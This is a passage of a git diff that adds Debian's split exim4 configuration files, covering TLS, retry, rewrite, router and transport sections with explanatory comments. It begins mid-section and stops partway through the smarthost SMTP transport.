+.ifdef MAIN_TLS_ENABLE
+# Defines what hosts to 'advertise' STARTTLS functionality to. The
+# default, *, will advertise to all hosts that connect with EHLO.
+.ifndef MAIN_TLS_ADVERTISE_HOSTS
+MAIN_TLS_ADVERTISE_HOSTS = *
+.endif
+tls_advertise_hosts = MAIN_TLS_ADVERTISE_HOSTS
+
+
+# Full paths to Certificate and Private Key. The Private Key file
+# must be kept 'secret' and should be owned by root.Debian-exim mode
+# 640 (-rw-r-----). exim-gencert takes care of these prerequisites.
+# Normally, exim4 looks for certificate and key in different files:
+# MAIN_TLS_CERTIFICATE - path to certificate file,
+# CONFDIR/exim.crt if unset
+# MAIN_TLS_PRIVATEKEY - path to private key file
+# CONFDIR/exim.key if unset
+# You can also configure exim to look for certificate and key in the
+# same file, set MAIN_TLS_CERTKEY to that file to enable. This takes
+# precedence over all other settings regarding certificate and key file.
+.ifdef MAIN_TLS_CERTKEY
+tls_certificate = MAIN_TLS_CERTKEY
+.else
+.ifndef MAIN_TLS_CERTIFICATE
+MAIN_TLS_CERTIFICATE = CONFDIR/exim.crt
+.endif
+tls_certificate = MAIN_TLS_CERTIFICATE
+
+.ifndef MAIN_TLS_PRIVATEKEY
+MAIN_TLS_PRIVATEKEY = CONFDIR/exim.key
+.endif
+tls_privatekey = MAIN_TLS_PRIVATEKEY
+.endif
+
+# Pointer to the CA Certificates against which client certificates are
+# checked. This is controlled by the `tls_verify_hosts' and
+# `tls_try_verify_hosts' lists below.
+# If you want to check server certificates, you need to add an
+# tls_verify_certificates statement to the smtp transport.
+# /etc/ssl/certs/ca-certificates.crt is generated by
+# the "ca-certificates" package's update-ca-certificates(8) command.
+.ifndef MAIN_TLS_VERIFY_CERTIFICATES
+MAIN_TLS_VERIFY_CERTIFICATES = ${if exists{/etc/ssl/certs/ca-certificates.crt}\
+ {/etc/ssl/certs/ca-certificates.crt}\
+ {/dev/null}}
+.endif
+tls_verify_certificates = MAIN_TLS_VERIFY_CERTIFICATES
+
+
+# A list of hosts which are constrained by `tls_verify_certificates'. A host
+# that matches `tls_verify_host' must present a certificate that is
+# verifyable through `tls_verify_certificates' in order to be accepted as an
+# SMTP client. If it does not, the connection is aborted.
+.ifdef MAIN_TLS_VERIFY_HOSTS
+tls_verify_hosts = MAIN_TLS_VERIFY_HOSTS
+.endif
+
+# A weaker form of checking: if a client matches `tls_try_verify_hosts' (but
+# not `tls_verify_hosts'), request a certificate and check it against
+# `tls_verify_certificates' but do not abort the connection if there is no
+# certificate or if the certificate presented does not match. (This
+# condition can be tested for in ACLs through `verify = certificate')
+# By default, this check is done for all hosts. It is known that some
+# clients (including incredimail's version downloadable in February
+# 2008) choke on this. To disable, set MAIN_TLS_TRY_VERIFY_HOSTS to an
+# empty value.
+.ifdef MAIN_TLS_TRY_VERIFY_HOSTS
+tls_try_verify_hosts = MAIN_TLS_TRY_VERIFY_HOSTS
+.endif
+
+.ifdef _HAVE_GNUTLS
+tls_dhparam = historic
+.endif
+
+.else
+# Don't advertise TLS if MAIN_TLS_ENABLE is not set.
+tls_advertise_hosts =
+.endif
diff --git a/debian/debconf/conf.d/main/90_exim4-config_log_selector b/debian/debconf/conf.d/main/90_exim4-config_log_selector
new file mode 100644
index 0000000..685c404
--- /dev/null
+++ b/debian/debconf/conf.d/main/90_exim4-config_log_selector
@@ -0,0 +1,10 @@
+
+### main/90_exim4-config_log_selector
+#################################
+
+# uncomment this for debugging
+# MAIN_LOG_SELECTOR == MAIN_LOG_SELECTOR +all -subject -arguments
+
+.ifdef MAIN_LOG_SELECTOR
+log_selector = MAIN_LOG_SELECTOR
+.endif
diff --git a/debian/debconf/conf.d/retry/00_exim4-config_header b/debian/debconf/conf.d/retry/00_exim4-config_header
new file mode 100644
index 0000000..e2bb4a4
--- /dev/null
+++ b/debian/debconf/conf.d/retry/00_exim4-config_header
@@ -0,0 +1,7 @@
+
+######################################################################
+# RETRY CONFIGURATION #
+######################################################################
+
+begin retry
+
diff --git a/debian/debconf/conf.d/retry/30_exim4-config b/debian/debconf/conf.d/retry/30_exim4-config
new file mode 100644
index 0000000..52b002f
--- /dev/null
+++ b/debian/debconf/conf.d/retry/30_exim4-config
@@ -0,0 +1,19 @@
+
+### retry/30_exim4-config
+#################################
+
+# This single retry rule applies to all domains and all errors. It specifies
+# retries every 15 minutes for 2 hours, then increasing retry intervals,
+# starting at 1 hour and increasing each time by a factor of 1.5, up to 16
+# hours, then retries every 6 hours until 4 days have passed since the first
+# failed delivery.
+
+# Please note that these rules only limit the frequency of retries, the
+# effective retry-time depends on the frequency of queue-running, too.
+# See QUEUEINTERVAL in /etc/default/exim4.
+
+# Address or Domain Error Retries
+# ----------------- ----- -------
+
+* * F,2h,15m; G,16h,1h,1.5; F,4d,6h
+
diff --git a/debian/debconf/conf.d/rewrite/00_exim4-config_header b/debian/debconf/conf.d/rewrite/00_exim4-config_header
new file mode 100644
index 0000000..a32db17
--- /dev/null
+++ b/debian/debconf/conf.d/rewrite/00_exim4-config_header
@@ -0,0 +1,7 @@
+
+######################################################################
+# REWRITE CONFIGURATION #
+######################################################################
+
+begin rewrite
+
diff --git a/debian/debconf/conf.d/rewrite/31_exim4-config_rewriting b/debian/debconf/conf.d/rewrite/31_exim4-config_rewriting
new file mode 100644
index 0000000..b7415b6
--- /dev/null
+++ b/debian/debconf/conf.d/rewrite/31_exim4-config_rewriting
@@ -0,0 +1,16 @@
+
+### rewrite/31_exim4-config_rewriting
+#################################
+
+# This rewriting rule is particularly useful for dialup users who
+# don't have their own domain, but could be useful for anyone.
+# It looks up the real address of all local users in a file
+.ifndef NO_EAA_REWRITE_REWRITE
+*@+local_domains "${lookup{${local_part}}lsearch{/etc/email-addresses}\
+ {$value}fail}" Ffrs
+# identical rewriting rule for /etc/mailname
+*@ETC_MAILNAME "${lookup{${local_part}}lsearch{/etc/email-addresses}\
+ {$value}fail}" Ffrs
+.endif
+
+
diff --git a/debian/debconf/conf.d/router/00_exim4-config_header b/debian/debconf/conf.d/router/00_exim4-config_header
new file mode 100644
index 0000000..531e21f
--- /dev/null
+++ b/debian/debconf/conf.d/router/00_exim4-config_header
@@ -0,0 +1,11 @@
+
+######################################################################
+# ROUTERS CONFIGURATION #
+# Specifies how addresses are handled #
+######################################################################
+# THE ORDER IN WHICH THE ROUTERS ARE DEFINED IS IMPORTANT! #
+# An address is passed to each router in turn until it is accepted. #
+######################################################################
+
+begin routers
+
diff --git a/debian/debconf/conf.d/router/100_exim4-config_domain_literal b/debian/debconf/conf.d/router/100_exim4-config_domain_literal
new file mode 100644
index 0000000..d37fea6
--- /dev/null
+++ b/debian/debconf/conf.d/router/100_exim4-config_domain_literal
@@ -0,0 +1,18 @@
+
+### router/100_exim4-config_domain_literal
+#################################
+
+# This router handles e-mail addresses in "domain literal" form like
+# <user@[10.11.12.13]>. The RFCs require this facility, but it is disabled
+# in the default config since it is rarely used and frequently abused.
+# Domain literal support also needs to be enabled in the main config,
+# which is automatically done if you use the enable macro
+# MAIN_ALLOW_DOMAIN_LITERALS.
+
+.ifdef MAIN_ALLOW_DOMAIN_LITERALS
+domain_literal:
+ debug_print = "R: domain_literal for $local_part@$domain"
+ driver = ipliteral
+ domains = ! +local_domains
+ transport = remote_smtp
+.endif
diff --git a/debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts b/debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts
new file mode 100644
index 0000000..a0fcb26
--- /dev/null
+++ b/debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts
@@ -0,0 +1,18 @@
+
+# router/150_exim4-config_hubbed_hosts
+#################################
+
+# route specific domains manually.
+#
+# see exim4-config_files(5) and spec.txt chapter 20.3 through 20.7 for
+# more detailed documentation.
+
+hubbed_hosts:
+ debug_print = "R: hubbed_hosts for $domain"
+ driver = manualroute
+ domains = "${if exists{CONFDIR/hubbed_hosts}\
+ {partial-lsearch;CONFDIR/hubbed_hosts}\
+ fail}"
+ same_domain_copy_routing = yes
+ route_data = ${lookup{$domain}partial-lsearch{CONFDIR/hubbed_hosts}}
+ transport = remote_smtp
diff --git a/debian/debconf/conf.d/router/200_exim4-config_primary b/debian/debconf/conf.d/router/200_exim4-config_primary
new file mode 100644
index 0000000..8b03ae7
--- /dev/null
+++ b/debian/debconf/conf.d/router/200_exim4-config_primary
@@ -0,0 +1,92 @@
+
+### router/200_exim4-config_primary
+#################################
+# This file holds the primary router, responsible for nonlocal mails
+
+.ifdef DCconfig_internet
+# configtype=internet
+#
+# deliver mail to the recipient if recipient domain is a domain we
+# relay for. We do not ignore any target hosts here since delivering to
+# a site local or even a link local address might be wanted here, and if
+# such an address has found its way into the MX record of such a domain,
+# the local admin is probably in a place where that broken MX record
+# could be fixed.
+
+dnslookup_relay_to_domains:
+ debug_print = "R: dnslookup_relay_to_domains for $local_part@$domain"
+ driver = dnslookup
+ domains = ! +local_domains : +relay_to_domains
+ transport = remote_smtp
+ same_domain_copy_routing = yes
+ dnssec_request_domains = *
+ no_more
+
+# deliver mail directly to the recipient. This router is only reached
+# for domains that we do not relay for. Since we most probably can't
+# have broken MX records pointing to site local or link local IP
+# addresses fixed, we ignore target hosts pointing to these addresses.
+
+dnslookup:
+ debug_print = "R: dnslookup for $local_part@$domain"
+ driver = dnslookup
+ domains = ! +local_domains
+ transport = remote_smtp
+ same_domain_copy_routing = yes
+ # ignore private rfc1918 and APIPA addresses
+ ignore_target_hosts = 0.0.0.0 : 127.0.0.0/8 : 192.168.0.0/16 :\
+ 172.16.0.0/12 : 10.0.0.0/8 : 169.254.0.0/16 :\
+ 255.255.255.255
+ dnssec_request_domains = *
+ no_more
+
+.endif
+
+
+.ifdef DCconfig_local
+# configtype=local
+#
+# Stand-alone system, so generate an error for mail to a non-local domain
+nonlocal:
+ debug_print = "R: nonlocal for $local_part@$domain"
+ driver = redirect
+ domains = ! +local_domains
+ allow_fail
+ data = :fail: Mailing to remote domains not supported
+ no_more
+
+.endif
+
+
+.ifdef DCconfig_smarthost DCconfig_satellite
+# configtype=smarthost or configtype=satellite
+#
+# Send all non-local mail to a single other machine (smarthost).
+#
+# This means _ALL_ non-local mail goes to the smarthost. This will most
+# probably not do what you want for domains that are listed in
+# relay_domains. The most typical use for relay_domains is to control
+# relaying for incoming e-mail on secondary MX hosts. In that case,
+# it doesn't make sense to send the mail to the smarthost since the
+# smarthost will probably send the message right back here, causing a
+# loop.
+#
+# If you want to use a smarthost while being secondary MX for some
+# domains, you'll need to copy the dnslookup_relay_to_domains router
+# here so that mail to relay_domains is handled separately.
+
+smarthost:
+ debug_print = "R: smarthost for $local_part@$domain"
+ driver = manualroute
+ domains = ! +local_domains
+ transport = remote_smtp_smarthost
+ route_list = * DCsmarthost byname
+ host_find_failed = ignore
+ same_domain_copy_routing = yes
+ no_more
+
+.endif
+
+
+# The "no_more" above means that all later routers are for
+# domains in the local_domains list, i.e. just like Exim 3 directors.
diff --git a/debian/debconf/conf.d/router/300_exim4-config_real_local b/debian/debconf/conf.d/router/300_exim4-config_real_local
new file mode 100644
index 0000000..34ea282
--- /dev/null
+++ b/debian/debconf/conf.d/router/300_exim4-config_real_local
@@ -0,0 +1,22 @@
+
+### router/300_exim4-config_real_local
+#################################
+
+# This router allows reaching a local user while avoiding local
+# processing. This can be used to inform a user of a broken .forward
+# file, for example. The userforward router does this.
+
+COND_LOCAL_SUBMITTER = "\
+ ${if match_ip{$sender_host_address}{:@[]}\
+ {1}{0}\
+ }"
+
+real_local:
+ debug_print = "R: real_local for $local_part@$domain"
+ driver = accept
+ domains = +local_domains
+ condition = COND_LOCAL_SUBMITTER
+ local_part_prefix = real-
+ check_local_user
+ transport = LOCAL_DELIVERY
+
diff --git a/debian/debconf/conf.d/router/400_exim4-config_system_aliases b/debian/debconf/conf.d/router/400_exim4-config_system_aliases
new file mode 100644
index 0000000..f5f5f1c
--- /dev/null
+++ b/debian/debconf/conf.d/router/400_exim4-config_system_aliases
@@ -0,0 +1,44 @@
+
+### router/400_exim4-config_system_aliases
+#################################
+
+# This router handles aliasing using a traditional /etc/aliases file.
+#
+##### NB You must ensure that /etc/aliases exists. It used to be the case
+##### NB that every Unix had that file, because it was the Sendmail default.
+##### NB These days, there are systems that don't have it. Your aliases
+##### NB file should at least contain an alias for "postmaster".
+#
+# This router handles the local part in a case-insensitive way which
+# satisfies the RFCs requirement that postmaster be reachable regardless
+# of case. If you decide to handle /etc/aliases in a caseful way, you
+# need to make arrangements for a caseless postmaster.
+#
+# Delivery to arbitrary directories, files, and piping to programs in
+# /etc/aliases is disabled per default.
+# If that is a problem for you, see
+# /usr/share/doc/exim4-base/README.Debian.gz
+# for explanation and some workarounds.
+
+system_aliases:
+ debug_print = "R: system_aliases for $local_part@$domain"
+ driver = redirect
+ domains = +local_domains
+ allow_fail
+ allow_defer
+ data = ${lookup{$local_part}lsearch{/etc/aliases}}
+ .ifdef SYSTEM_ALIASES_USER
+ user = SYSTEM_ALIASES_USER
+ .endif
+ .ifdef SYSTEM_ALIASES_GROUP
+ group = SYSTEM_ALIASES_GROUP
+ .endif
+ .ifdef SYSTEM_ALIASES_FILE_TRANSPORT
+ file_transport = SYSTEM_ALIASES_FILE_TRANSPORT
+ .endif
+ .ifdef SYSTEM_ALIASES_PIPE_TRANSPORT
+ pipe_transport = SYSTEM_ALIASES_PIPE_TRANSPORT
+ .endif
+ .ifdef SYSTEM_ALIASES_DIRECTORY_TRANSPORT
+ directory_transport = SYSTEM_ALIASES_DIRECTORY_TRANSPORT
+ .endif
diff --git a/debian/debconf/conf.d/router/500_exim4-config_hubuser b/debian/debconf/conf.d/router/500_exim4-config_hubuser
new file mode 100644
index 0000000..1884b21
--- /dev/null
+++ b/debian/debconf/conf.d/router/500_exim4-config_hubuser
@@ -0,0 +1,31 @@
+
+### router/500_exim4-config_hubuser
+#################################
+
+.ifdef DCconfig_satellite
+# This router is only used for configtype=satellite.
+# It takes care to route all mail targeted to <somelocaluser@this.machine>
+# to the host where we read our mail
+#
+hub_user:
+ debug_print = "R: hub_user for $local_part@$domain"
+ driver = redirect
+ domains = +local_domains
+ data = ${local_part}@DCreadhost
+ check_local_user
+
+# Grab the redirected mail and deliver it.
+# This is a duplicate of the smarthost router, needed because
+# DCreadhost might end up as part of +local_domains
+hub_user_smarthost:
+ debug_print = "R: hub_user_smarthost for $local_part@$domain"
+ driver = manualroute
+ domains = DCreadhost
+ transport = remote_smtp_smarthost
+ route_list = * DCsmarthost byname
+ host_find_failed = ignore
+ same_domain_copy_routing = yes
+ check_local_user
+.endif
+
+
diff --git a/debian/debconf/conf.d/router/600_exim4-config_userforward b/debian/debconf/conf.d/router/600_exim4-config_userforward
new file mode 100644
index 0000000..59259ca
--- /dev/null
+++ b/debian/debconf/conf.d/router/600_exim4-config_userforward
@@ -0,0 +1,51 @@
+
+### router/600_exim4-config_userforward
+#################################
+
+# This router handles forwarding using traditional .forward files in users'
+# home directories. It also allows mail filtering with a forward file
+# starting with the string "# Exim filter" or "# Sieve filter".
+#
+# The no_verify setting means that this router is skipped when Exim is
+# verifying addresses. Similarly, no_expn means that this router is skipped if
+# Exim is processing an EXPN command.
+#
+# The check_ancestor option means that if the forward file generates an
+# address that is an ancestor of the current one, the current one gets
+# passed on instead. This covers the case where A is aliased to B and B
+# has a .forward file pointing to A.
+#
+# The four transports specified at the end are those that are used when
+# forwarding generates a direct delivery to a directory, or a file, or to a
+# pipe, or sets up an auto-reply, respectively.
+#
+userforward:
+ debug_print = "R: userforward for $local_part@$domain"
+ driver = redirect
+ domains = +local_domains
+ check_local_user
+ file = $home/.forward
+ require_files = $local_part:$home/.forward
+ no_verify
+ no_expn
+ check_ancestor
+ allow_filter
+ forbid_smtp_code = true
+ directory_transport = address_directory
+ file_transport = address_file
+ pipe_transport = address_pipe
+ reply_transport = address_reply
+ skip_syntax_errors
+ syntax_errors_to = real-$local_part@$domain
+ syntax_errors_text = \
+ This is an automatically generated message. An error has\n\
+ been found in your .forward file. Details of the error are\n\
+ reported below. While this error persists, you will receive\n\
+ a copy of this message for every message that is addressed\n\
+ to you. If your .forward file is a filter file, or if it is\n\
+ a non-filter file containing no valid forwarding addresses,\n\
+ a copy of each incoming message will be put in your normal\n\
+ mailbox. If a non-filter file contains at least one valid\n\
+ forwarding address, forwarding to the valid addresses will\n\
+ happen, and those will be the only deliveries that occur.
+
diff --git a/debian/debconf/conf.d/router/700_exim4-config_procmail b/debian/debconf/conf.d/router/700_exim4-config_procmail
new file mode 100644
index 0000000..8d827c7
--- /dev/null
+++ b/debian/debconf/conf.d/router/700_exim4-config_procmail
@@ -0,0 +1,15 @@
+
+procmail:
+ debug_print = "R: procmail for $local_part@$domain"
+ driver = accept
+ domains = +local_domains
+ check_local_user
+ transport = procmail_pipe
+ # emulate OR with "if exists"-expansion
+ require_files = ${local_part}:\
+ ${if exists{/etc/procmailrc}\
+ {/etc/procmailrc}{${home}/.procmailrc}}:\
+ +/usr/bin/procmail
+ no_verify
+ no_expn
+
diff --git a/debian/debconf/conf.d/router/800_exim4-config_maildrop b/debian/debconf/conf.d/router/800_exim4-config_maildrop
new file mode 100644
index 0000000..0c57fc6
--- /dev/null
+++ b/debian/debconf/conf.d/router/800_exim4-config_maildrop
@@ -0,0 +1,14 @@
+
+### router/800_exim4-config_maildrop
+#################################
+
+maildrop:
+ debug_print = "R: maildrop for $local_part@$domain"
+ driver = accept
+ domains = +local_domains
+ check_local_user
+ transport = maildrop_pipe
+ require_files = ${local_part}:${home}/.mailfilter:+/usr/bin/maildrop
+ no_verify
+ no_expn
+
diff --git a/debian/debconf/conf.d/router/850_exim4-config_lowuid b/debian/debconf/conf.d/router/850_exim4-config_lowuid
new file mode 100644
index 0000000..43741c6
--- /dev/null
+++ b/debian/debconf/conf.d/router/850_exim4-config_lowuid
@@ -0,0 +1,29 @@
+
+### router/850_exim4-config_lowuid
+#################################
+
+.ifndef FIRST_USER_ACCOUNT_UID
+FIRST_USER_ACCOUNT_UID = 0
+.endif
+
+.ifndef DEFAULT_SYSTEM_ACCOUNT_ALIAS
+DEFAULT_SYSTEM_ACCOUNT_ALIAS = :fail: no mail to system accounts
+.endif
+
+COND_SYSTEM_USER_AND_REMOTE_SUBMITTER = "\
+ ${if and{{! match_ip{$sender_host_address}{:@[]}}\
+ {<{$local_user_uid}{FIRST_USER_ACCOUNT_UID}}}\
+ {1}{0}\
+ }"
+
+lowuid_aliases:
+ debug_print = "R: lowuid_aliases for $local_part@$domain (UID $local_user_uid)"
+ check_local_user
+ driver = redirect
+ allow_fail
+ domains = +local_domains
+ condition = COND_SYSTEM_USER_AND_REMOTE_SUBMITTER
+ data = ${if exists{CONFDIR/lowuid-aliases}\
+ {${lookup{$local_part}lsearch{CONFDIR/lowuid-aliases}\
+ {$value}{DEFAULT_SYSTEM_ACCOUNT_ALIAS}}}\
+ {DEFAULT_SYSTEM_ACCOUNT_ALIAS}}
diff --git a/debian/debconf/conf.d/router/900_exim4-config_local_user b/debian/debconf/conf.d/router/900_exim4-config_local_user
new file mode 100644
index 0000000..423c729
--- /dev/null
+++ b/debian/debconf/conf.d/router/900_exim4-config_local_user
@@ -0,0 +1,15 @@
+
+### router/900_exim4-config_local_user
+#################################
+
+# This router matches local user mailboxes. If the router fails, the error
+# message is "Unknown user".
+
+local_user:
+ debug_print = "R: local_user for $local_part@$domain"
+ driver = accept
+ domains = +local_domains
+ check_local_user
+ local_parts = ! root
+ transport = LOCAL_DELIVERY
+ cannot_route_message = Unknown user
diff --git a/debian/debconf/conf.d/router/mmm_mail4root b/debian/debconf/conf.d/router/mmm_mail4root
new file mode 100644
index 0000000..88017ba
--- /dev/null
+++ b/debian/debconf/conf.d/router/mmm_mail4root
@@ -0,0 +1,17 @@
+
+### router/mmm_mail4root
+#################################
+# deliver mail addressed to root to /var/mail/mail as user mail:mail
+# if it was not redirected in /etc/aliases or by other means
+# Exim cannot deliver as root since 4.24 (FIXED_NEVER_USERS)
+
+mail4root:
+ debug_print = "R: mail4root for $local_part@$domain"
+ driver = redirect
+ domains = +local_domains
+ data = /var/mail/mail
+ file_transport = address_file
+ local_parts = root
+ user = mail
+ group = mail
+
diff --git a/debian/debconf/conf.d/transport/00_exim4-config_header b/debian/debconf/conf.d/transport/00_exim4-config_header
new file mode 100644
index 0000000..48e45da
--- /dev/null
+++ b/debian/debconf/conf.d/transport/00_exim4-config_header
@@ -0,0 +1,13 @@
+
+######################################################################
+# TRANSPORTS CONFIGURATION #
+######################################################################
+# ORDER DOES NOT MATTER #
+# Only one appropriate transport is called for each delivery. #
+######################################################################
+
+# A transport is used only when referenced from a router that successfully
+# handles an address.
+
+begin transports
+
diff --git a/debian/debconf/conf.d/transport/10_exim4-config_transport-macros b/debian/debconf/conf.d/transport/10_exim4-config_transport-macros
new file mode 100644
index 0000000..449fb31
--- /dev/null
+++ b/debian/debconf/conf.d/transport/10_exim4-config_transport-macros
@@ -0,0 +1,16 @@
+
+### transport/10_exim4-config_transport-macros
+#################################
+
+.ifdef HIDE_MAILNAME
+REMOTE_SMTP_HEADERS_REWRITE=*@+local_domains $1@DCreadhost frs : *@ETC_MAILNAME $1@DCreadhost frs
+REMOTE_SMTP_RETURN_PATH=${if match_domain{$sender_address_domain}{+local_domains}{${sender_address_local_part}@DCreadhost}{${if match_domain{$sender_address_domain}{ETC_MAILNAME}{${sender_address_local_part}@DCreadhost}fail}}}
+.endif
+
+.ifdef REMOTE_SMTP_HELO_FROM_DNS
+.ifdef REMOTE_SMTP_HELO_DATA
+REMOTE_SMTP_HELO_DATA==${lookup dnsdb {ptr=$sending_ip_address}{$value}{$primary_hostname}}
+.else
+REMOTE_SMTP_HELO_DATA=${lookup dnsdb {ptr=$sending_ip_address}{$value}{$primary_hostname}}
+.endif
+.endif
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_address_file b/debian/debconf/conf.d/transport/30_exim4-config_address_file
new file mode 100644
index 0000000..82b55e2
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_address_file
@@ -0,0 +1,11 @@
+
+# This transport is used for handling deliveries directly to files that are
+# generated by aliasing or forwarding.
+#
+address_file:
+ debug_print = "T: address_file for $local_part@$domain"
+ driver = appendfile
+ delivery_date_add
+ envelope_to_add
+ return_path_add
+
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_address_pipe b/debian/debconf/conf.d/transport/30_exim4-config_address_pipe
new file mode 100644
index 0000000..c5f1828
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_address_pipe
@@ -0,0 +1,10 @@
+
+# This transport is used for handling pipe deliveries generated by
+# .forward files. If the commands fails and produces any output on standard
+# output or standard error streams, the output is returned to the sender
+# of the message as a delivery error.
+address_pipe:
+ debug_print = "T: address_pipe for $local_part@$domain"
+ driver = pipe
+ return_fail_output
+
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_address_reply b/debian/debconf/conf.d/transport/30_exim4-config_address_reply
new file mode 100644
index 0000000..b2b8862
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_address_reply
@@ -0,0 +1,8 @@
+
+# This transport is used for handling autoreplies generated by the filtering
+# option of the userforward router.
+#
+address_reply:
+ debug_print = "T: autoreply for $local_part@$domain"
+ driver = autoreply
+
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_mail_spool b/debian/debconf/conf.d/transport/30_exim4-config_mail_spool
new file mode 100644
index 0000000..21dfae4
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_mail_spool
@@ -0,0 +1,17 @@
+
+### transport/30_exim4-config_mail_spool
+
+# This transport is used for local delivery to user mailboxes in traditional
+# BSD mailbox format.
+#
+mail_spool:
+ debug_print = "T: appendfile for $local_part@$domain"
+ driver = appendfile
+ file = /var/mail/$local_part
+ delivery_date_add
+ envelope_to_add
+ return_path_add
+ group = mail
+ mode = 0660
+ mode_fail_narrower = false
+
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_maildir_home b/debian/debconf/conf.d/transport/30_exim4-config_maildir_home
new file mode 100644
index 0000000..a872acc
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_maildir_home
@@ -0,0 +1,41 @@
+
+### transport/30_exim4-config_maildir_home
+#################################
+
+# Use this instead of mail_spool if you want to to deliver to Maildir in
+# home-directory - change the definition of LOCAL_DELIVERY
+#
+maildir_home:
+ debug_print = "T: maildir_home for $local_part@$domain"
+ driver = appendfile
+ .ifdef MAILDIR_HOME_MAILDIR_LOCATION
+ directory = MAILDIR_HOME_MAILDIR_LOCATION
+ .else
+ directory = $home/Maildir
+ .endif
+ .ifdef MAILDIR_HOME_CREATE_DIRECTORY
+ create_directory
+ .endif
+ .ifdef MAILDIR_HOME_CREATE_FILE
+ create_file = MAILDIR_HOME_CREATE_FILE
+ .endif
+ delivery_date_add
+ envelope_to_add
+ return_path_add
+ maildir_format
+ .ifdef MAILDIR_HOME_DIRECTORY_MODE
+ directory_mode = MAILDIR_HOME_DIRECTORY_MODE
+ .else
+ directory_mode = 0700
+ .endif
+ .ifdef MAILDIR_HOME_MODE
+ mode = MAILDIR_HOME_MODE
+ .else
+ mode = 0600
+ .endif
+ mode_fail_narrower = false
+ # This transport always chdirs to $home before trying to deliver. If
+ # $home is not accessible, this chdir fails and prevents delivery.
+ # If you are in a setup where home directories might not be
+ # accessible, uncomment the current_directory line below.
+ # current_directory = /
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe b/debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe
new file mode 100644
index 0000000..3bd8924
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe
@@ -0,0 +1,12 @@
+
+maildrop_pipe:
+ debug_print = "T: maildrop_pipe for $local_part@$domain"
+ driver = pipe
+ path = "/bin:/usr/bin:/usr/local/bin"
+ command = "/usr/bin/maildrop"
+ message_prefix =
+ message_suffix =
+ return_path_add
+ delivery_date_add
+ envelope_to_add
+
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe b/debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe
new file mode 100644
index 0000000..5fb03ff
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe
@@ -0,0 +1,10 @@
+
+procmail_pipe:
+ debug_print = "T: procmail_pipe for $local_part@$domain"
+ driver = pipe
+ path = "/bin:/usr/bin:/usr/local/bin"
+ command = "/usr/bin/procmail"
+ return_path_add
+ delivery_date_add
+ envelope_to_add
+
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp
new file mode 100644
index 0000000..bbad5fd
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp
@@ -0,0 +1,57 @@
+
+### transport/30_exim4-config_remote_smtp
+#################################
+# This transport is used for delivering messages over SMTP connections.
+# Refuse to send any message with over-long lines, which could have
+# been received other than via SMTP. The use of message_size_limit to
+# enforce this is a red herring.
+
+remote_smtp:
+ debug_print = "T: remote_smtp for $local_part@$domain"
+ driver = smtp
+.ifndef IGNORE_SMTP_LINE_LENGTH_LIMIT
+ message_size_limit = ${if > {$max_received_linelength}{998} {1}{0}}
+.endif
+.ifdef REMOTE_SMTP_HOSTS_AVOID_TLS
+ hosts_avoid_tls = REMOTE_SMTP_HOSTS_AVOID_TLS
+.endif
+.ifdef REMOTE_SMTP_HEADERS_REWRITE
+ headers_rewrite = REMOTE_SMTP_HEADERS_REWRITE
+.endif
+.ifdef REMOTE_SMTP_RETURN_PATH
+ return_path = REMOTE_SMTP_RETURN_PATH
+.endif
+.ifdef REMOTE_SMTP_HELO_DATA
+ helo_data=REMOTE_SMTP_HELO_DATA
+.endif
+.ifdef DKIM_DOMAIN
+dkim_domain = DKIM_DOMAIN
+.endif
+.ifdef DKIM_SELECTOR
+dkim_selector = DKIM_SELECTOR
+.endif
+.ifdef DKIM_PRIVATE_KEY
+dkim_private_key = DKIM_PRIVATE_KEY
+.endif
+.ifdef DKIM_CANON
+dkim_canon = DKIM_CANON
+.endif
+.ifdef DKIM_STRICT
+dkim_strict = DKIM_STRICT
+.endif
+.ifdef DKIM_SIGN_HEADERS
+dkim_sign_headers = DKIM_SIGN_HEADERS
+.endif
+.ifdef TLS_DH_MIN_BITS
+tls_dh_min_bits = TLS_DH_MIN_BITS
+.endif
+.ifdef REMOTE_SMTP_TLS_CERTIFICATE
+tls_certificate = REMOTE_SMTP_TLS_CERTIFICATE
+.endif
+.ifdef REMOTE_SMTP_PRIVATEKEY
+tls_privatekey = REMOTE_SMTP_PRIVATEKEY
+.endif
+.ifndef REMOTE_SMTP_DISABLE_DANE
+dnssec_request_domains = *
+hosts_try_dane = *
+.endif
diff --git a/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost
new file mode 100644
index 0000000..8c6b757
--- /dev/null
+++ b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost
@@ -0,0 +1,48 @@
+
+### transport/30_exim4-config_remote_smtp_smarthost
+#################################
+
+# This transport is used for delivering messages over SMTP connections
+# to a smarthost. The local host tries to authenticate.
+# This transport is used for smarthost and satellite configurations.
+# Refuse to send any messsage with over-long lines, which could have
+# been received other than via SMTP. The use of message_size_limit to
+# enforce this is a red herring.
+
+remote_smtp_smarthost:
+ debug_print = "T: remote_smtp_smarthost for $local_part@$domain"
+ driver = smtp
+ multi_domain
+.ifndef IGNORE_SMTP_LINE_LENGTH_LIMIT
+ message_size_limit = ${if > {$max_received_linelength}{998} {1}{0}}
+.endif
+ hosts_try_auth = <; ${if exists{CONFDIR/passwd.client} \
+ {\
